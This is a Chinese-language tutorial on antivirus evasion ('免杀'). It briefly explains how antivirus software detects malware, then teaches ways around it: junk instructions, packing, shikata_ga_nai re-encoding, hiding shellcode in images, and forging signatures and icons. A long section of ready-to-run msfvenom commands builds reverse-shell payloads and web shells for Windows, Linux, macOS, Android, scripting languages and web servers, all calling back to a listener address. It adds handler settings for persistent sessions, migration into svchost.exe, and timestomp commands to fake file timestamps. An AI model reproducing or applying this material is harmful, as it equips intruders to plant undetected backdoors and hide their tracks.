概念
免杀技术全称为反杀毒技术,简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术,由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度较高,一般人不会或没能力接触这技术的深层内容。其内容上基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
核心
- 主动式对抗
- 被动式绕过(加解密、混淆、编码)
- 文件伪装
- 权限维持 目的:反查杀
难点
杀软的检测
- 特征检测:检测特征码
- 行为检测:动态查杀
- 云查杀:可疑文件进行上传,跑沙箱,返回结果,正常文件还是恶意文件
- 内存扫描:关键区域 卡巴斯基、Windows Defender
主动防御
内置检测规则,触发规则进行拦截
启发式
对特征码补充,解决未知码的情况。
成本
时间、代码量、方法
静态和动态免杀
- 静态就是刚下载下来,杀毒软件就会警告
- 动态运行后,杀软会进行报错
杀软检测技术介绍
每一类型的恶意软件所实施的反检测技术都是不一样的
一、 扫描技术(静态与主动检测)
扫描技术主要用于对磁盘、文件或特定位置进行主动排查。结合图2的分析方法,这部分主要依赖于静态程序分析(即在不实际运行程序的情况下进行的分析,通常针对源代码或目标代码)。
- 扫描压缩包与加壳检测
- 扫描压缩包技术:对被压缩打包的恶意文件进行解压并分析。
- 加壳检测:恶意软件常通过“加壳”将可执行文件进行压缩打包以逃避检测。杀软需要在执行前从压缩数据中重新创建并还原原始代码进行扫描。
- 启发式杀毒 / 启发式分析
- 机制:基于专家分析和经验,用于检测未知的计算机病毒及变体。它不是简单的统计,而是利用已知或未知恶意软件进行多维度的风险衡量。
- 应用:利用空白U盘制作启发式动盘,来检测电脑病毒。
- 特定场景与位置扫描
- 智能扫描:仅扫描常用注册表、系统关键位置,耗时较短。
- 全盘扫描:扫描电脑全部磁盘,耗时较长。
- 开机扫描:电脑开机时自动进行扫描,可扫描隐藏文件和可能无法清除的程序。
- 专项防护与修复
- 勒索软件防护:保护电脑中的文件不被黑客恶意加密。
- 程序穿透防护:保护浏览器等免受漏洞利用或恶意代码注入。
- 修复技术:即对被恶意程序损坏的文件进行还原。
二、 监控技术(动态与实时防护)
监控技术侧重于系统运行时的实时防御,防患于未然。
- 内存监控与加密检测
- 内存监控:当发现内存中存在病毒的特征时,会主动报警;监控所有进程,以及读取到内存中的网络数据。
- 加密检测/RunPE技术:恶意软件常对二进制程序加密,执行时才在内存中解密(如RunPE技术:挂起一个干净进程,将内存替换为恶意代码后执行)。内存监控可以有效检测这种内存层面的恶意修改。
- 文件与行为监控
- 文件监控:当发现写到磁盘上的文件中存在病毒时(或者是被病毒感染),会自动报警。
- 行为防护:监视用户可疑的应用程序行为。
- 网络与通信监控
- 邮件监控:当发现电子邮件的附件存在病毒时进行拦截。
- 网页防护:阻止网络攻击和不安全下载。
三、 核心扫描引擎与分析方法(底层检测原理)
这是杀毒软件的“大脑”,决定了如何判定一个文件是恶意的。这里完美融合了图2中提到的静态、动态分析以及各种高级检测手段。
1. 特征码扫描 / 基于签名的检测
- 原理:传统的防病毒软件很大程度上依赖于此。提取恶意软件的特征码(签名),加入数据库进行比对。只要匹配上,即判定为病毒。
- 特征码分类:
- 文件特征码:针对存在于文件中的病毒(单一/复合特征码)。
- 内存特征码:针对存在于内存中的病毒。
- 优缺点:
-
优点:速度快,误报率低,无需用户参与。
-
缺点:滞后性强,只能查杀已知病毒,无法应对新病毒;特征库越来越大导致臃肿。
-
2. 进程行为监测法 / 沙盒分析技术
- 原理:属于动态程序分析**,在真实或模拟处理器(沙盒 Sandbox)上执行程序。沙盒提供了一个受限的安全环境,用于观察不可信、具破坏力程序的真实行为。
- 判定:如果不看特征,只看行为(如特定API调用顺序),发现病毒的共同破坏行为,即立刻拦截。
- 优缺点:
- 优点:可发现未知病毒,可相当准确地预报未知的多数病毒。
- 缺点:可能误报警,不能识别病毒名称,有一定实现难度,需要用户参与判断。
3. 文件校验和法
- 机制:对正常文件计算校验和并保存。在文件使用中,定期检查计算出的校验和与原来保存的是否一致,从而发现文件是否被感染或篡改。
4. 主动防御技术
- 机制:不依赖病毒特征码,而是对程序的行为进行全面分析。它将“事后杀毒”提前到“事前防御”,让病毒在产生破坏前就被拦截。这是静态分析与动态防御推上的一个新高度。
5. 机器学习识别技术与高级检测
- 机器学习识别:既可以做静态样本的二进制特征分析,又可以运行在沙箱中作为动态行为分析。伴随深度学习发展,现在能提取更深层次的二进制形态样本特征。
- 信息熵检测:通过计算文件的“信息熵”(混乱程度)来寻找合适的量度,验证并对比恶意软件的属性。
- 混淆检测:专门针对恶意软件的“混淆部件”(用于保护载荷不被查杀的代码)进行识别和还原。
常见免杀方式
特征码修改
特征码:是识别一个程序是一个病毒的一段不大于64字节的特征串,简单来讲特征码就是一种只在病毒或者木马内才有的独一无二的特征,它或是一段字符,或者再特定位置调用的一个函数。总之,如果某个文件具有这个特征码从病毒、木马的文件中去或破坏掉,那么反病毒软件就认为这是一个正常文件了
免杀最基本思想就是破坏特征,这个特征可能是特征码,也可能是行为特征,只要破坏的病毒与木马所以固有的特征,并保证其原本的功能没有改变,一次免杀就完成了
花指令免杀
花指令就是一段毫无意义的执行指令,也可以称为垃圾指令,花指令就程序的执行结果没有影响。在静态查杀中,AV是靠特征码来判断文件是否有毒的
如杀软本来是在0x00001000到0x000050000处找一个特征码,但因为我们填充了花指令,恶意代码跑到了0x000080000这个位置,就会导致特征码查杀失败,从而达到免杀目的。花指令攥写方法:找到程序的一个全0代码段
加壳免杀
软件加壳为软件加密,对于现在的壳来说,根据作用与加壳后的不同效果,可以将其分为两类,一类是压缩壳,另一类是加密壳。但不管是压缩壳还是加密壳,它们的大致原理与执行流程都是一样的,应用程序加壳后就会变成PE文件里的一段数据,在执行加壳文件时会先执行壳,再由壳将已知的程序解密并还原到内存中
二次编译
metasploit的msfvenom提供了了多种格式的payload和encoder,生成的shellcode也 为二次加⼯工提供了了很大遍历,但是也被各大厂商盯得死死的。
⽽而shikata_ga_nai是msf中唯⼀的评价是excellent的编码器,这种多态编码技术使得每次生成的攻击载荷文件是不一样的,编码和解码也都是不一样。还可以利用管道进行多重编码进行免杀
目前msfvenom的encoder特征基本都进入了杀软的漏漏洞洞库,很难实现单一encoder 编码而绕过杀软,所以对shellcode进行进一步修改编译成了了msf免杀的主流。互联网上有很多借助于C、C#、python等语言对shellcode进行二次编码从而达到免杀的效果。
分离免杀
将shellcode与shellcode loader加载器分离
比如,一般杀软只会对exe文件进行查杀,但是我们将shellcode写入图片中,那么杀软只会认为它是正常的图片,然后我们通过加载器将shellcode读取出来,加载内存执行
资源修改
有些杀软会设置有扫描白名单,比如之前把程序图片替换成360安全卫士图标就能过360的查杀
加资源:使用ResHacker对文件进行资源操作,找来多个正常软件,将它们的资源加入到自己软件
替换资源:使用ResHacker替换无用的资源
加签名:使用签名伪造工具,将正常软件的签名加入自己的软件中
shellcode与shellcodeLoader
shellcode简介
是一段利用软件漏洞而执行的代码,为16进制的机器码,因为经常让攻击者获得shell而得名
shellcodeLoader简介
为了使我们的shellcode加载到内存并执行,我们需要shellcode加载器,不同的loader写法不同
我们知道shellcode是一串可执行的二进制机器码,那么我们可以通过开辟一片拥有可读可写可执行权限的内存区域放入我们的shellcode,然后跳转到shellcode首地址区执行
msfvennom简介
msfvenom是msfpayload和msfencode的结合体,于2015年年6⽉月8⽇日取代了了msfpayload和msfencode。在此之后,metasploit-framework下⾯面的的 msfpayload(荷载⽣生成器器),msfencoder(编码器器),msfcli(监听接⼝口)都不不再被⽀支持。
常见参数
-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的
-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, –nopsled < length> 为payload预先指定一个NOP滑动长度
-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)
-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload
-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64
–platform < platform> 指定payload的目标平台
-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小
-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f'、'\x00'; -i, –iterations < count> 指定payload的编码次数
-c, –add-code < path> 指定一个附加的win32 shellcode文件 -x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中
-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, –out < path> 指定创建好的payload的存放位置
-v, –var-name < name> 指定一个自定义的变量,以确定输出格式 –shellest 最小化生成payload
-h, –help 查看帮助选项
–help-formats 查看msf支持的输出格式列表
比如想查看 windows/meterpreter/reverse_tcp 支持什么平台、哪些选项,可以使用 msfvenom -p windows/meterpreter/reverse_tcp --list- options
监听参数
防止假session
在实战中,可能会遇到目标主机上线后很快掉线或者无法交互的情况。可以通过设置超时时间来解决:
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0防止session意外退出
为了防止 session 意外中断以及保持 Handler 持续运行,可以设置以下参数:
msf5 exploit(multi/handler) > set ExitOnSession false
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0
handler后台持续监听
使用 -j 和 -z 参数可以让 handler 在后台静默运行:
msf5 exploit(multi/handler) > exploit -j -z
注:-j 代表作为 job 在后台运行,-z 代表不立即与新产生的 session 交互。配合 ExitOnSession false 可以实现持续的后台监听。
payload的进程转化 (进程注入/迁移)
为了防止目标关闭后门进程导致 session 掉线,可以在生成 payload 时就指定迁移进程(例如迁移到系统进程 svchost.exe):
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> PrependMigrate=true PrependMigrateProc=svchost.exe -f exe > shell.exe
或者在 MSF 监听端配置自动执行脚本,在 session 建立后自动迁移进程:
msf5 exploit(multi/handler) > set AutoRunScript post/windows/manage/migrate
痕迹伪装
主要针对文件的时间戳(MACE属性:修改时间、访问时间、创建时间等)进行篡改,以躲避溯源排查。
在 meterpreter 中使用 timestomp 命令:
# 修改指定文件的创建时间
meterpreter > timestomp C:\\test.txt -c "10/24/2018 10:00:00"
# 将指定文件的时间戳伪装成与系统正常文件(如cmd.exe)完全一致
meterpreter > timestomp C:\\test.txt -f C:\\Windows\\System32\\cmd.exe
各平台payload生成
二进制
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe > shell.exe
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f macho > shell.macho
Android
msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 R > test.apk
Powershell
msfvenom -a x86 --platform windows -p windows/powershell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
Netcat
nc 正向连接
msfvenom -p windows/shell_hidden_bind_tcp LHOST=10.211.55.2 LPORT=3333 -f exe > 1.exe
nc 反向连接,监听
msfvenom -p windows/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe > 1.exe
shellcode
基于Linux的Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f c基于Windows的Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f c
基于Mac的Shellcode基于Mac的Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f c
脚本
Python反弹shell
msfvenom -p cmd/unix/reverse_python LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py
msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py
Bash反弹shell
msfvenom -p cmd/unix/reverse_bash LHOST=10.211.55.2 LPORT=3333 -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=10.211.55.2 LPORT=3333 -f raw > shell.pl
Lua
msfvenom -p cmd/unix/reverse_lua LHOST=10.211.55.2 LPORT=3333 -f raw > shell.lua
Ruby
msfvenom -p ruby/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.rb
Web
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.php
# 补充 <?php 标签使其能被正常解析 (针对macOS环境使用的命令组合)
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASPX
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f aspx -o shell.aspx
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f war > shell.war
NodeJS
msfvenom -p nodejs/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.js
Handlers (快速配置监听)
在 metasploit 中快速设置对应的监听模块(与生成的 payload 对应):
use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST <LHOST value>
set LPORT <LPORT value>
set ExitOnSession false
exploit -j -z